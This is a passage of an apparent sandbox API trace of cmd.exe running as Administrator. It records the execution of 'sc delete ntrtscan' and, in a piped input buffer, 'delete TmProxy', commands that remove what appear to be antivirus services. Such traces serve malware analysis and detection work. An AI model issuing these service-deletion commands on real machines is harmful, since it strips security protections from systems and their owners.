(in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.477] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.477] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.477] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.477] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.477] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.477] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.478] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.478] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.478] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.478] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="nmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.478] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.478] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="tProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.478] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.478] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="rroxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.478] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.478] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="toxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.478] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.478] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.478] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.479] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="sxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.479] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.479] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.479] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.479] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="cy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.479] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.479] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.479] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.479] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="a\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.479] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.479] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.479] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.479] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="n\nnService\ne\n\n\nA\"\n") returned 1 [0079.479] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.479] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.479] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.479] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="\nnService\ne\n\n\nA\"\n") returned 1 [0079.479] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.479] GetFileType (hFile=0xb8) returned 0x3 [0079.479] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.479] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.479] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.479] GetFileType (hFile=0x120) returned 0x3 [0079.480] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.480] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete ntrtscan\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete ntrtscan\n", lpUsedDefaultChar=0x0) returned 20 [0079.480] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x13, lpOverlapped=0x0) returned 1 [0079.480] GetProcessHeap () returned 0x240000 [0079.480] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0079.480] GetProcessHeap () returned 0x240000 [0079.480] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0079.480] GetProcessHeap () returned 0x240000 [0079.480] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0079.480] GetProcessHeap () returned 0x240000 [0079.480] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0079.480] GetProcessHeap () returned 0x240000 [0079.480] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x32) returned 0x256510 [0079.480] GetConsoleOutputCP () returned 0x1b5 [0079.481] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.481] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.481] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.481] GetProcessHeap () returned 0x240000 [0079.481] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0079.481] GetProcessHeap () returned 0x240000 [0079.481] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256550 [0079.481] GetProcessHeap () returned 0x240000 [0079.481] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0079.481] SetErrorMode (uMode=0x0) returned 0x1 [0079.481] SetErrorMode (uMode=0x1) returned 0x0 [0079.481] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0079.481] SetErrorMode (uMode=0x1) returned 0x1 [0079.481] GetProcessHeap () returned 0x240000 [0079.481] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0079.481] GetProcessHeap () returned 0x240000 [0079.481] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0079.481] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.481] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0079.482] GetProcessHeap () returned 0x240000 [0079.482] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0079.482] GetProcessHeap () returned 0x240000 [0079.482] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0079.482] GetProcessHeap () returned 0x240000 [0079.482] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0079.482] GetProcessHeap () returned 0x240000 [0079.482] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0079.482] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.482] GetProcessHeap () returned 0x240000 [0079.482] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0079.482] GetProcessHeap () returned 0x240000 [0079.482] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0079.482] GetProcessHeap () returned 0x240000 [0079.482] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0079.482] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.482] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.482] GetLastError () returned 0x2 [0079.482] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.482] GetLastError () returned 0x2 [0079.482] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.483] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.483] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.483] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.483] GetLastError () returned 0x2 [0079.483] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.483] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.483] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.483] GetProcessHeap () returned 0x240000 [0079.483] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0079.483] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.483] GetProcessHeap () returned 0x240000 [0079.483] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x9e) returned 0x259180 [0079.483] GetProcessHeap () returned 0x240000 [0079.484] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x9e [0079.484] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete ntrtscan") returned 1 [0079.484] GetProcessHeap () returned 0x240000 [0079.484] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0079.484] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0079.484] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0079.484] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0079.484] GetProcessHeap () returned 0x240000 [0079.484] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0079.484] GetProcessHeap () returned 0x240000 [0079.484] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0079.484] GetProcessHeap () returned 0x240000 [0079.484] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0079.484] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete ntrtscan", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete ntrtscan", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete ntrtscan", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xa14, dwThreadId=0x640)) returned 1 [0079.488] CloseHandle (hObject=0x50) returned 1 [0079.488] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0079.488] GetProcessHeap () returned 0x240000 [0079.488] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.488] GetEnvironmentStringsW () returned 0x25ba10* [0079.488] GetProcessHeap () returned 0x240000 [0079.488] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0079.488] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0079.488] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0079.488] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd6000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0079.488] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0079.559] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0079.559] CloseHandle (hObject=0x54) returned 1 [0079.559] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0079.559] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0079.559] GetProcessHeap () returned 0x240000 [0079.559] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0079.559] GetEnvironmentStringsW () returned 0x261b10* [0079.559] GetProcessHeap () returned 0x240000 [0079.559] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0079.559] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.559] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0079.559] GetProcessHeap () returned 0x240000 [0079.559] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.559] GetEnvironmentStringsW () returned 0x25ba10* [0079.559] GetProcessHeap () returned 0x240000 [0079.559] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0079.559] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0079.560] GetProcessHeap () returned 0x240000 [0079.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0079.560] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0079.560] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0079.560] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.560] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0079.561] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.561] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0079.561] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.561] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0079.561] GetConsoleOutputCP () returned 0x1b5 [0079.561] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.561] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.561] GetProcessHeap () returned 0x240000 [0079.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0079.562] GetProcessHeap () returned 0x240000 [0079.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0079.562] GetProcessHeap () returned 0x240000 [0079.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0079.562] GetProcessHeap () returned 0x240000 [0079.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0079.562] GetProcessHeap () returned 0x240000 [0079.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0079.562] GetProcessHeap () returned 0x240000 [0079.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0079.562] GetProcessHeap () returned 0x240000 [0079.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0079.562] GetProcessHeap () returned 0x240000 [0079.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0079.562] GetProcessHeap () returned 0x240000 [0079.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0079.562] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0079.562] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.562] GetFileType (hFile=0x120) returned 0x3 [0079.562] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.562] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0079.563] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0079.563] 